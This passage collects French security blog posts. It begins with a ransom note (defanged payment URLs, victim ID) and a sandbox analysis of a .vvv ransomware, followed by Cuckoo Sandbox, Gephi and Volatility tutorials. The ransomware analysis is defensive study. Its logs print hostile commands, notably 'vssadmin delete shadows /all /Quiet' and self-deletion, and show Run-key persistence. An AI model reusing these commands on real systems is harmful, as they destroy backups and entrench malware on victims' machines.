For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:
1. hxxp://jf73ndna34df.ceorldess.com/4D5492355C95A030
2. hxxp://gecndhstrnsdf.gpay4it.com/4D5492355C95A030
3. hxxp://hrdsjrnvskdjnt.pay4softrn.com/4D5492355C95A030
4. hxxps://t7r67vsrpjcm5dfc.onion.to/4D5492355C95A030
5. hxxps://t7r67vsrpjcm5dfc.tor2web.org/4D5492355C95A030
6. hxxps://t7r67vsrpjcm5dfc.onion.cab/4D5492355C95A030

If for some reasons the addresses are not available, follow these steps:
1. Download and install tor-browser: hxxp://www.torproject.org/projects/torbrowser.html.en
2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: t7r67vsrpjcm5dfc.onion/4D5492355C95A030
4. Follow the instructions on the site.

========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========
!!!!!========!!!!!========!!!!!
!!! IMPORTANT INFORMATION:
!!! Your personal pages:
hxxp://jf73ndna34df.ceorldess.com/4D5492355C95A030
hxxp://gecndhstrnsdf.gpay4it.com/4D5492355C95A030
hxxp://hrdsjrnvskdjnt.pay4softrn.com/4D5492355C95A030
hxxps://t7r67vsrpjcm5dfc.onion.to/4D5492355C95A030
!!! Your personal TOR-Browser page: t7r67vsrpjcm5dfc.onion/4D5492355C95A030
!!! Your personal identification ID (if you open the site directly): 4D5492355C95A030
========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========
!!!!!========!!!!!========!!!!!
[/code]

Registre

RegShot est un outil permettant de visualiser les différences dans le registre Windows entre deux moments. Pour cela il effectue deux instantanées du registre, un avant l’exécution du malware, et un après, il compare les deux à la fin pour afficher les modifications survenues.

[code]HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\Microsoft\Windows\CurrentVersion\Run\santa_svc: “C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe”[/code]
J’aime beaucoup le nom de la valeur 😀

[code]HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\4D5492355C95A030
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\zsys
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\4D5492355C95A030\data: 31 59 58 6D 74 39 46 65 54 45 75 74 37 69 57 39 61 42 4D 77 74 38 64 75 6B 32 62 4D 37 4D 41 37 71 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 EF 5C 38 BB E8 9A EF 63 CA 64 72 B5 41 07 E6 91 9B 99 F5 5F C7 DF BF B6 AB 5F 88 19 73 97 99 FB 01 56 5E 23 76 6B D7 8E E6 74 46 98 72 BE 00 3D 64 80 BA DC 34 BA 11 9B 85 DB A9 55 D0 05 52 87 00 00 32 31 38 30 39 41 37 35 43 35 32 35 41 43 33 42 44 35 39 39 35 44 35 35 30 34 46 33 31 31 37 32 38 33 35 42 31 33 36 38 31 36 32 35 33 43 30 35 38 45 32 37 35 41 39 34 36 38 42 39 46 41 36 44 36 36 30 46 33 36 38 41 31 32 46 34 36 44 34 45 45 46 38 41 38 45 37 36 44 35 46 44 35 41 41 38 41 46 38 38 39 34 42 30 36 39 43 33 39 32 33 45 41 33 39 38 34 31 34 42 36 43 42 39 31 42 33 30 00 00 00 00 04 DB F1 93 E1 81 AA 71 67 97 C5 C5 FA 1F B5 3D 6C 21 ED 18 5B AD 61 23 EE B7 33 9D 9C D8 DF 21 7B 25 5D 69 97 71 23 3C 9E 83 13 DB 78 85 8E 96 7E 27 5C D5 47 26 90 E1 76 45 2E
66 8D BA F6 14 21 00 00 00 00 00 00 00 00 1C 3D 73 56 00 00 00 00
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\zsys\ID: 4D 54 92 35 5C 95 A0 30[/code]

Réseau

Wireshark va nous permettre de voir ce qui circule sur le réseau.

Le malware va résoudre et contacter [i]myexternalip.com[/i] pour connaitre notre adresse IP.

Puis il va résoudre et contacter un site (ou plusieurs si nécessaire), ce sont des sites WordPress piratés sur lesquels le pirate a placé un fichier php lui appartenant. Le malware les appels avec une première variable. Le script php répond alors :

---!!!INSERTED!!!---

.
Il rappel ensuite le même site après le processus de chiffrement avec une nouvelle variable, le script PHP répond la même chose.

Les variables sont totalement différentes, y compris si on multiplie les exécutions, seule une en-tête commune à toutes les secondes communications (après chiffrement) existe.

On peut quand même en déduire que si paires de clés RSA il y a, elles n’ont pas été générées coté serveur. Or l’intérêt est de garder une partie secrète sur le serveur, ici soit elle transite en clair via le réseau, soit elle est stockée en local, soit il n’y a pas de chiffrement avec RSA. On sait de même que la clé utilisée est à priori unique (header commun).

Système

Process Monitor permet de visualiser les actions effectuées par les processus.

[code]23:54:18,8152357 73.exe 8844 IRP_MJ_CREATE C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe SUCCESS Desired Access: Generic Write, Read Attributes, Delete, Disposition: OverwriteIf, Options: Sequential Access, Synchronous IO Non-Alert, Non-Directory File, Attributes: A, ShareMode: None, AllocationSize: 0, OpenResult: Created
23:54:18,8883688 73.exe 8844 Process Create C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe SUCCESS PID: 9000, Command line: “C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe”[/code]

73.exe crée un fichier qjgemacroic.exe qui est une copie de lui-même.

[code]23:54:20,0017606 73.exe 8844 Process Create C:\WINDOWS\system32\cmd.exe SUCCESS PID: 8756, Command line: “C:\WINDOWS\system32\cmd.exe” /c DEL C:\DOCUME~1\%username%\Bureau\73.exe[/code]

73.exe s’auto-supprime et qjgemacroic.exe prend le relai.

[code]23:54:20,3724817 qjgemacroic.exe 9000 RegCreateKey HKCU\Software\zsys\ SUCCESS Desired Access: Read/Write

23:54:20,5873677 qjgemacroic.exe 9000 RegSetValue HKCU\Software\4D5492355C95A030\data SUCCESS Type: REG_BINARY, Length: 328, Data: 31 59 58 6D 74 39 46 65 54 45 75 74 37 69 57 39

23:54:20,6213765 qjgemacroic.exe 9000 RegSetValue HKCU\Software\Microsoft\Windows\CurrentVersion\Run\santa_svc SUCCESS Type: REG_SZ, Length: 154, Data: C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe[/code]

Il crée les clés de registre citées plus tôt.

[code]23:54:20,9402170 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\vssadmin.exe SUCCESS PID: 9160, Command line: “C:\WINDOWS\system32\vssadmin.exe” delete shadows /all /Quiet [/code]

Il supprime les VSS. Adieu points de restauration et versions précédentes des fichiers.

[code]23:54:21,0972579 qjgemacroic.exe 9000 IRP_MJ_CREATE C:\Documents and Settings\%username%\Mes documents\recover_file_gdwasfaxi.txt SUCCESS Desired Access: Generic Read/Write, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: None, AllocationSize: 0, OpenResult: Created[/code]

Il crée un fichier un peu spécial :

[code]1YXmt9FeTEut7iW9aBMwt8duk2bM7MA7q
EF5C38BBE89AEF63CA6472B54107E6919B99F55FC7DFBFB6AB5F8819739799FB
21809A75C525AC3BD5995D5504F31172835B136816253C058E275A9468B9FA6D
660F368A12F46D4EEF8A8E76D5FD5AA8AF8894B069C3923EA398414B6CB91B30
4D5492355C95A030
73[/code]

On y voit notre ID, des choses qu’on retrouve dans les entêtes aussi.

[code]23:54:21,3637842 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\* SUCCESS Type: QueryDirectory, Filter: *, 2: AdwCleaner
23:54:21,3725150 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\AdwCleaner\* SUCCESS Type: QueryDirectory, Filter: *, 2: .
23:54:21,3902225 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\AdwCleaner SUCCESS Type: QueryDirectory, 1: .., 2: AdwCleaner[R5].txt, 3: AdwCleaner[R6].txt, 4: Quarantine
23:54:21,3923379 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 0, Length: 394
23:54:21,3923803 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 394, Length: 20
23:54:21,3923912 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 414, Length: 992
23:54:21,5671137 qjgemacroic.exe 9000 IRP_MJ_SET_INFORMATION C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Type: SetRenameInformationFile, ReplaceIfExists: False, FileName: C:\AdwCleaner\AdwCleaner[R5].txt.vvv
[/code]

On va parcourir tout le disque à partir de la racine, dossier par dossier, puis fichier par fichier, quand une extension correspond, le malware réécrit complètement le fichier (on voit qu’il est plus grand à la fin) puis le renomme avec un .vvv.

[code]23:54:21,5715319 qjgemacroic.exe 9000 IRP_MJ_WRITE C:\AdwCleaner\Quarantine\how_recover+hfv.txt SUCCESS Offset: 0, Length: 2 560
23:54:21,5717844 qjgemacroic.exe 9000 IRP_MJ_WRITE C:\AdwCleaner\Quarantine\how_recover+hfv.html SUCCESS Offset: 0, Length: 10 654
[/code]

Il place également un [i]how_recover+hfv.txt[/i] et [i]how_recover+hfv.html[/i] dans tous les dossiers (même si il n’y a rien de chiffré dedans). Tous y passe sauf le dossier Windows.

[code]23:57:06,4031183 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\NOTEPAD.EXE SUCCESS PID: 9736, Command line: “C:\WINDOWS\system32\NOTEPAD.EXE” C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.TXT[/code]

Affichage des instructions sur notepad.

[code]23:57:06,4697720 qjgemacroic.exe 9000 Process Create C:\Program Files\Mozilla Firefox\firefox.exe SUCCESS PID: 9096, Command line: “C:\Program Files\Mozilla Firefox\firefox.exe” -osint -url “C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.HTM”
[/code]

Affichage des instructions sur le navigateur.

[code]23:57:06,9842435 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\rundll32.exe SUCCESS PID: 9936, Command line: “rundll32.exe” C:\WINDOWS\system32\shimgvw.dll,ImageView_Fullscreen C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.BMP[/code]

Affichage de l’image.

[code]23:57:08,7694981 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\cmd.exe SUCCESS PID: 10136, Command line: “C:\WINDOWS\system32\cmd.exe” /c DEL C:\DOCUME~1\%username%\APPLIC~1\QJGEMA~1.EXE[/code]

Une fois le processus de chiffrement terminé le fichier s’auto-détruit.


Il serait intéressant de se pencher plus en détail sur le processus de chiffrement, j’ai de sérieux doutes sur la robustesse des mécanismes mis en œuvre par ce malware.

On voit qu’à la fin le malware n’est plus actif, en désinfection il faudrait virer les clés laissés par l’infection, voir retirer les fichiers “howto” et les fichiers chiffrés (ce qui retire toute chance de pouvoir les déchiffrer dans un moment futur).

Pour tous commentaires ça se passe par ici : https://forum.security-x.fr/blog-sx/

Cuckoo – Traiter le résultat avec Gephi 3

Cet article fait suite à celui-ci.
Désormais, on va dissocier les malwares par familles et identifier les comportements qui sont liés.


Adware

adware

PDF : Adware.pdf

Ransomware

ransomware

PDF : Ransomware.pdf

Regardons aussi comment ces malwares se lancent.

ransomware lancement

PDF : Ransomware_lancement.pdf

Il est intéressant de voir que le mode de lancement utilisé par les ransomwares est séparé en deux parties (clusters). Donc par exemple si un de ces programmes crée une clé Run, il y a de fortes chances qu’il ait aussi créé une clé Session Manager.

Scareware

scareware

PDF : Scareware.pdf

scareware lancement

PDF : scareware_lancement.pdf

Vers

vers

PDF : Vers.pdf

vers lancement

PDF : Vers_lancement.pdf


D’autres familles de malwares existent mais on va pas toutes les traiter. On peut aussi regarder quelques infections particulières.

TDSS / ZeroAccess

Dans cette partie on souhaite voir ce que TDSS et ZA ont en commun.

TDSS_ZA

PDF : TDSS_ZAgraph.pdf

On voit que bien qu’ils aient chacun leurs spécificités, ils partagent un certain nombre de comportements.

SpyEyes

spyeyes

PDF : Spyeyes.pdf

Sur cette image, nous voyons que le malware effectue peu d’actions, dans la plupart des cas il n’essaye pas de se lancer au démarrage par exemple. Cela nous laisse supposer que l’exécution ne s’est pas bien passée (le malware a peut-être détecté qu’il était dans une machine virtuelle) ou que la base comportementale n’est pas assez complète.

Zeus

zeus

PDF : Zeus.pdf

zeus lancement

PDF : Zeus_lancement.pdf

Ces graphiques nous montrent que même si ces infections appartiennent à la même famille, il y a de grandes différences de comportement entre les variantes.

Qbot

qbot

PDF : Qbot.pdf

Les comportements forment 3 clusters, on sait donc qu’il y a d’autres “grandes sous-familles” de Qbot qui ont chacune leurs comportements spécifiques.


Ce dernier article conclut l’utilisation de Gephi.

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici.

Cuckoo – Traiter le résultat avec Gephi 2

Dans le précédent post on a vu comment construire un graphique à partir de l’analyse d’un lot de malwares. Le résultat est plutôt sympathique, mais pas si concluant que ça.

Pour obtenir des choses plus intéressantes il va falloir sélectionner, supprimer, filtrer des choses, je ne vais pas détailler cela ici mais simplement vous proposer des résultats.


Malwares – Malwares

Ce graphique ne se compose que de malwares, mais les liens entre eux montrent les comportements qu’ils ont en communs.

Cuckoo - Gephi malwares

On voit que certaines catégories sont absentes ou peu présentes. C’est sans doute dû à la base comportementale qui n’est pas forcement adaptée à certains types de malwares (les vers, les virus ou les adwares par exemple).

PDF

Comportements – Comportements

L’échantillon de malwares prit n’est pas vraiment représentatif de l’ensemble des infections, mais il peut être intéressant de voir quels sont les comportements les plus centraux de ces malwares. On va séparer entre comportements au niveau des fichiers, du registre et l’API.

Cuckoo - Gephi comportements fichiers

PDF

Cuckoo - Gephi comportements registre

PDF

Cuckoo - Gephi comportements api

PDF

Mauvaises détections

Pour chacun de nos malwares, nous avons des taux de détection à notre disposition. Essayons de voir comment s’organise notre graphique pour les malwares mal détectés (on choisit pour cela une valeur un peu arbitraire : moins de 7 détections).

Cuckoo - Gephi Mauvaises detections

Si l’on considère que les anti-virus se servent en partie des comportements des malwares pour décider du caractère infectieux ou non de ceux-ci (ce qui est bien sur à vérifier), les comportements les plus visibles ici sont donc peu pris en compte par ces sociétés.

PDF

Détections heuristiques

Les anti-virus embarquent souvent un moteur de détection heuristique. En l’absence de signature connue, en analysant le comportement d’un fichier ils peuvent dire (avec une certaine incertitude) si celui-ci est infectieux ou non.
On ne va donc garder que les malwares dont le nom est précédé d’un “HEUR:“, “suspicious“, etc.
Voyons quels comportements font tilter nos anti-virus.

Gephi - cuckoo heuristique

PDF

La suite ici.

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici

Cuckoo – Traiter le résultat avec Gephi

Vous avez installé cuckoo et analysé plein de malwares. C’est sympa tout ça, mais vous n’avez peut-être pas envie de lire tous les rapports ?

Dans ce post, on va créer un rendu visuel de ces analyses, duquel on pourra extraire des informations pertinentes grâce au logiciel Gephi !


L’idée

Le but du traitement à réaliser est de trouver un moyen pour regrouper/classer les fichiers analysés. Dans les rapports, on va trouver pour chaque malwares plein d’indications, je vais appeler ça des comportements.

L’idée de départ était de regrouper les malwares étudiés entre-eux en fonction de leur comportement observé. Pour cela, chaque comportement partagé entre deux malwares donne un lien entre eux deux. Par conséquent, plus il existe de lien entre les malwares, plus leur comportement global est proche.

Cette idée pose deux problèmes majeurs :

  • En faisant comme ça on ne voit que les liens entre les malwares, c’est un peu pauvre, on veut aussi s’intéresser aux comportements.
  • C’est très lourd, ça implique de parcourir tous les rapports plusieurs fois, il faut aussi créer des algorithmes complexes pour identifier tous ces comportements (on ne peut pas se contenter de comparer chaque lignes)

Traitement

Pour résoudre ce problème, on va l’attaquer autrement. Les comportements seront prédéfinis (base comportementale) et correspondront chacun à un nœud. Les malwares qui auront ce comportement auront un lien avec lui. On aura donc un graphique bipartite (malwares et comportements ensembles).

Construire une base comportementale ça prend du temps, celle que je vous propose est donc loin d’être exhaustive et peut posséder des erreurs.
Voici un exemple de comportement :

SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32
2
Lancement automatique (Drivers32)

La première ligne désigne ce qu’il faut rechercher dans le rapport. La seconde pour le type (2 = clé de registre) et la troisième est une explication courte.

Base comportementale : base_comportement base_comportement_details

Maintenant il ne reste plus qu’à parcourir les résultats.
On met le contenu du répertoire storage/analyses dans un dossier à part avec les bases et le programme de traitement.

Ce programme a été écrit en C, c’est pas très jolie, c’est lourd, mais ça fait son travail.

Code : main.c

En sortie on aura 2 fichiers GDF (un format compréhensible par Gephi), l’un contiendra les nœuds, l’autre les liens.

s256, ,malware,'Trojan-FakeAV.Win32.SmartFortress2012.acxa',12

Voilà un exemple de nœud, c’est un malware détecté en tant que “Trojan-FakeAV.Win32.SmartFortress2012.acxa” par 12 antivirus.

Quand on assemble les deux fichiers on obtient un fichier GDF prêt à être chargé sur Gephi : result.gdf.

Gephi

Gephi est un logiciel open-source multiplate-forme de visualisation développé en Java.

Télécharger Gephi.

On charge le fichier GDF, il faut supprimer les nœuds orphelins si il y en a.

Dans l’onglet Laboratoire de données on retrouve nos nœuds et liens. La partie Vue d’ensemble nous permet de modifier notre graphique, on peut commencer par lui appliquer un algorithme de spatialisation comme le Force Atlas 2.

Graphique bipartite gephi

On obtient un (beau) graphique. On peut l’exporter au format pdf par exemple : gephi_bipartite_1.pdf

Graphique bipartite résultat

Un cluster bipartite 1

Un cluster bipartite 2

La suite par ici.

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici

Cuckoo – Analyser un lot de malwares

Avec Cuckoo Sandbox, vous allez voir qu’il est très simple d’analyser tout un lot de malwares.

Il est recommandé d’avoir un PC puissant, une quantité suffisante de mémoire, et un peu de place sur son disque dur.

Ce post fait suite à celui détaillant l’installation de cuckoo.


Dans un premier temps, nous allons optimiser un peu l’analyse.

Paralléliser l’analyse

Cuckoo c’est bien, mais ce n’est pas ce qu’il y a de plus rapide, on se rend vite compte que l’analyse d’un seul fichier peut durer plusieurs minutes.
Il est donc intéressant d’utiliser plusieurs machines virtuelles.

Relancez virtualbox, pour rappel il suffit de faire :

sudo chroot /srv/chroot/cuckoo_chroot
su cuckoo
virtualbox&

Faites un clique droit sur votre machine puis clôner. Clône intégral de l’état actuel.

Démarrer votre nouvelle machine, puis modifier son adresse IP en 192.168.56.102. (changer le dernier octet pour chaque machine)

Configuration réseau clone machine virtuelle

Enfin, redémarrez votre machine virtuelle puis prenez un instantané.

Recommencez cette manipulation pour chaque nouvelles machines.

Maintenant, éditons le fichier virtualbox.conf situé dans le dossier conf de cuckoo.

Ajoutez vos machines :

machines = cuckoo1,cuckoo2,cuckoo3,cuckoo4

Pour chacune, créez une section :

[cuckoo2]
# Specify the label name of the current machine as specified in your
# VirtualBox configuration.
label = cuckoo2

# Specify the operating system platform used by current machine
# [windows/darwin/linux].
platform = windows

# Specify the IP address of the current machine. Make sure that the IP address
# is valid and that the host machine is able to reach it. If not, the analysis
# will fail.
ip = 192.168.56.102

Analyse

Il vous faut maintenant récupérer des fichiers à analyser et les mettre dans le répertoire de l’utilisateur cuckoo (en faisant toujours attention aux droits, ne pas hésiter à utiliser la commande chown).

Avant de commencer, si votre PC a tendance à chauffer, il peut être bon de limiter cuckoo et virtualbox (en terme de ressources utilisées). On peut utiliser cpulimit pour ça. Les commandes sont à adapter à votre configuration (voir explications)

cpulimit --path=/usr/bin/python --limit 15&
cpulimit --path=/usr/bin/virtualbox --limit 15&

Nous sommes prêt, allez dans le répertoire de cuckoo.
Si vous avez déjà lancé des analyses, vous pouvez les effacer avec la commande :

./utils/clean.sh

Pour lancer l’analyse :

python cuckoo.py&
./utils/submit.py /dossier/avec/vos/malware

Les fichiers sont ajoutés à une file d’attente, les machines virtuelles se lancent et s’éteignent automatiquement.

Cuckoo file d'attente

Cuckoo fonctionnement normal

Et le résultat final.

Dossier résultat analyse lot de malware

Il ne vous reste plus qu’à analyser tous ces rapports 🙂

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici

Cuckoo Sandbox – Installation

Dans ce post je vais expliquer pas à pas comment installer Cuckoo Sandbox.

N’oubliez pas que l’analyse de malware peut être dangereuse, je vous conseille de prendre toutes les précautions qui s’imposent avant de commencer. Il est possible que certaines manipulations expliquées ici soient dangereuses.

L’installation sera effectuée sur une machine Debian “testing” sur une architecture amd64.


On l’installera dans un chroot, en faisant ainsi on l’isolera du reste du système (change root – changer la racine). Cuckoo sera lancé depuis un utilisateur aux droits limités dans ce chroot afin de limiter les risques pour le système hôte si un malware arrive à “s’échapper” de la machine virtuelle.

Si vous souhaitez installer cuckoo directement sur votre système vous pouvez simplement suivre la documentation.

Création du chroot

On installe les logiciels nécessaires et on crée le répertoire de notre chroot.

sudo apt-get install binutils debootstrap
sudo mkdir -p /srv/chroot/cuckoo_chroot

La commande debootstrap permet d’installer un système debian dans le sous-répertoire d’un autre système.
Veillez à choisir la même architecture que votre système.

sudo debootstrap --arch amd64 testing /srv/chroot/cuckoo_chroot http://http.debian.net/debian

Le chroot sera donc situé dans notre cas dans /srv/chroot/cuckoo_chroot.

L’installation se lance, cela peut prendre plusieurs minutes.

Pour plus d’information sur les chroot ou en cas de problème : https://wiki.debian.org/fr/Chroot

Entrons y :

sudo chroot /srv/chroot/cuckoo_chroot

Si tout va bien, quelque chose comme ça s’affiche :

root@debian:/#

Dans la suite de ce post, on va distinguer les commandes à taper sur le système principal de celles à entrer sur le chroot par un code de couleur (couleur des encadrés).

Sur le système principal
Dans le chroot en tant qu'utilisateur root
Dans le chroot en tant qu'utilisateur cuckoo

Il faut ensuite installer le logiciel de virtualisation dans lequel les malwares seront exécutés, nous utiliserons virtualbox mais vous pouvez prendre n’importe quel autre (KVM, VMware, …).

Installation de Virtualbox

Commencez par éditer le fichier /etc/apt/sources.list, ajoutez y la ligne :

deb http://http.debian.net/debian testing contrib non-free

Puis installez :

apt-get install virtualbox

Il est possible de rencontrer des problèmes à l’installation de virtualbox, c’est récurrent. Pour les résoudre je vous conseille de copier le message d’erreur sur un moteur de recherche, de nombreux sujets sur des forums existent. La Documentation debian donne aussi des solutions.

Erreurs courantes :

The character device /dev/vboxdrv does not exist.

Solution :

modprobe vboxdrv
VBoxNetAdpCtl: Error while adding new interface: failed to open /dev/vboxnetctl: No such file or directory

Solution :

modprobe vboxnetadp

Installation de Cuckoo

Un certain nombre de dépendances sont nécessaires, il faut aussi que tcpdump puisse se lancer avec des droits de super-utilisateur (pour capturer le trafic).

apt-get install python python-sqlalchemy python-dpkt python-jinja2 python-magic python-pymongo python-libvirt python-bottle python-pefile tcpdump libcap2-bin
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

On crée un utilisateur,

adduser cuckoo
usermod -G vboxusers cuckoo

Il faut maintenant télécharger cuckoo : ici
On extrait le contenu du fichier cuckoo-current.tar.gz téléchargé dans notre chroot.

sudo tar xzfv cuckoo-current.tar.gz -C /srv/chroot/cuckoo_chroot/home/cuckoo/

Cuckoo est installé.
Attention aux droits, exécutez la commande suivante dans le dossier de l’utilisateur cuckoo pour qu’il soit propriétaire des fichiers (change the owner).

chown cuckoo * -R

Configuration de Virtualbox

xhost +

Cela vous permettra de lancer des applications graphiques depuis le chroot.

En utilisant le compte que l’on a créé, on va pouvoir lancer virtualbox.

su cuckoo
virtualbox&

A vous maintenant de créer une machine virtuelle, j’ai choisi d’utiliser Windows XP SP3 (si vous avez déjà une machine virtuelle de créée, vous pouvez l’importer dans le chroot) mais libre à vous de prendre un autre système (Vista, 7, 8, …).

Sur la machine virtuelle, désactiver le pare-feu et les mises à jour automatiques. Puis installer python : http://www.python.org/getit/

Sur Virtualbox allez dans Machine -> Configuration -> Dossiers partagés -> Ajouter un dossier partagé. Ajouter le dossier /home/cuckoo/cuckoo/agent et cocher montage automatique.

Virtualbox création dossier partagé

Redémarrez la machine. Depuis le dossier monté, placer le fichier agent.py dans le dossier de démarrage automatique de Windows et le renommer en agent.pyw.

Dossier démarrage machine virtuelle

Passons maintenant à la configuration réseau, éteignez la VM. Dans la fenêtre principale de virtualbox aller dans Fichier -> Paramètres -> Réseau -> Ajouter réseau privé hôte. (il est possible que vous soyez obligés d’effectuer cette manipulation après chaque redémarrage)

Dans la configuration de la machine, sur l’onglet Réseau choisissez le mode d’accès réseau privé hôte.

Virtualbox créer réseau privé

Allumez votre machine virtuelle, elle fait maintenant parti d’un réseau privé qui lui permettra de communiquer avec cuckoo. On va lui attribuer une adresse IP fixe. Dans les options internet, vous pouvez lui donner l’adresse 192.168.56.101.

Configuration réseau machine virtuelle

La configuration de la machine virtuelle est terminée, assurez vous qu’aucun programme parasite ne se lance, prenez ensuite un instantané de la machine après son démarrage (une fois que tout est bien chargé). Vous pouvez fermer virtualbox.

On n’oubliera pas d’autoriser cuckoo et la machine virtuelle à communiquer. Cette commande n’est pas permanente, il faudra l’ajouter à votre script de configuration d’iptables ou la retaper à chaque utilisation de cuckoo.

sudo iptables -A INPUT -i vboxnet0 -j ACCEPT

Configuration de Cuckoo

Aller dans le dossier de cuckoo puis dans conf. On y trouve plusieurs fichiers .conf avec des explications.

Modifier le fichier virtualbox.conf pour y indiquer votre machine virtuelle.

label = nom_de_votre_machine_virtuelle

Dans le fichier reporting.conf vous pouvez choisir quels types de rapports seront générés.

Maintenant, lançons cuckoo.

python cuckoo.py&

Démarrage cuckoo

Voilà ce que vous devriez avoir si tout va bien !

Pour analyser un fichier, il vous suffit de faire :

./utils/submit.py chemin_vers_le_fichier

Ou bien :

./utils/submit.py --url http://www.malware.com

Cuckoo fonctionnement

Les rapports d’analyses sont situés dans storage/analyses.

Cuckoo résultat html

Cuckoo résultat json

Dans les rapports on trouvera par exemple :

  • Les appels à l’API Win32
  • Les fichiers créés, supprimés ou téléchargés
  • La capture du trafic réseau
  • Les clés de registre crées, supprimées ou modifiées
  • Des captures d’écran de la machine
  • Une analyse Virustotal

Si vous souhaitez analyser de nombreux malwares, vous pouvez lire le billet suivant : Analyser un lot de malwares.

Bien d’autres possibilités existent, vous trouverez tout une documentation dans le dossier cuckoo/docs/book.
Vous pouvez par exemple donner à la machine virtuelle un accès à internet et ainsi capturer le trafic, demander à cuckoo de faire un dump mémoire, …

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici

Analyse de malwares avec Cuckoo

Cuckoo Sandbox est un logiciel permettant d’analyser rapidement des malwares.

Codé en python, il génère des rapports détaillés sur le fichier analysé.

Je vais présenter rapidement cuckoo, puis dans une série de posts, je vais vous expliquer comment l’installer, nous verrons ensuite une application possible de ces analyses.


Exécuter un malware dans une machine virtuelle est un moyen simple de l’étudier, mais cela nécessite d’utiliser de nombreux outils et peut prendre du temps. Cuckoo va effectuer la même chose automatiquement et générer un rapport.

Pour ce faire, on installe un petit module sur une machine virtuelle qui va exécuter le malware, récupérer des informations sur le système et les transmettre à cuckoo.

On saura donc rapidement quelle incidence le malware a eu sur le système (fichiers créés, clés de registre modifiées, …).

Il est possible d’utiliser cuckoo sans installation, le site malwr.com permet d’analyser un fichier en ligne.

Merci à tout ceux qui m’ont fait découvrir cuckoo et aidé dans ce projet, en particulier igor51.

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici

Analyse d’un ransomware avec Volatility

Volatility est un framework d’analyse de dump mémoire; Il permet de parcourir la mémoire à la recherche de divers éléments.

Ce framework est écrit en python et offre la possibilité d’ajouter des plugins (donc quelque part, scriptable).

Pour récupérer le code et en savoir plus : [url=http://code.google.com/p/volatility/source/checkout] SVN [/url]

Je vais présenter l’outil sur une analyse rapide de LokoMoto, un ransomware.


Volatility va aller lire un dump mémoire. Pour cela, il faut donc dumper la mémoire dans un fichier pour qu’elle soit lisible. Pour que ce soit plus simple, j’utilise les dumps de Virtualbox que je fais ainsi :

[code]
vboxmanage debugvm WindowsHoneyPot dumpguestcore –filename test.elf
[/code]

WindowsHoneyPot est le nom de la VM et test.elf sera notre dump mémoire.

Le problème, c’est que ce dump n’est pas lisible directement par Volatility, car il ne contient pas qu’un dump mémoire, mais aussi des informations sur les registres du processeur (entre autre).

Il existe un plugin qui permet d’aider Volatility à la lire ce dump. : http://code.google.com/p/volatility/source/browse/branches/scudette/volatility/plugins/addrspaces/vboxelf.py?r=1950

Il faudra penser à ajouter cette option à chaque fois pour que Volatility puisse interpréter nos commandes.

Ok, tout est ok, commençons notre petite analyse. Le malware a été exécuté dans la VM, et nous avons un dump de sa mémoire faire avec la commande ci-dessus.

[code]
igor51@debian-laptop:~/volatility-2.2% python vol.py –plugins=contrib/plugins/vboxelf.zip -f test.elf imageinfo
[/code]

[quote]
Determining profile based on KDBG search…

Suggested Profile(s) : Win7SP0x86, Win7SP1x86
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : VirtualBoxCoreDumpElf64 (/home/igor51/volatility-2.2/test.elf)
AS Layer3 : FileAddressSpace (/home/igor51/volatility-2.2/test.elf)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x82731c28
Number of Processors : 1
Image Type (Service Pack) : 0
KPCR for CPU 0 : 0x82732c00
KUSER_SHARED_DATA : 0xffdf0000
Image date and time : 2013-03-01 20:42:33 UTC+0000
Image local date and time : 2013-03-01 21:42:33 +0100

[/quote]

On obtient le type de notre VM, le plus important est de connaître le profile pour aider Volatility à trouver les éléments.

On liste les processus en cours :
[code]
igor51@debian-laptop:~/volatility-2.2% python vol.py –plugins=contrib/plugins/vboxelf.zip -f test.elf –profile=Win7SP0x86 pslist
[/code]

On obtient :
[quote]

Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
———- ——————– —— —— —— ——– —— —— ——————– ——————–
0x84ecab10 System 4 0 84 488 —— 0 2013-03-01 20:41:57
0x85ed23b0 smss.exe 264 4 4 29 —— 0 2013-03-01 20:41:57
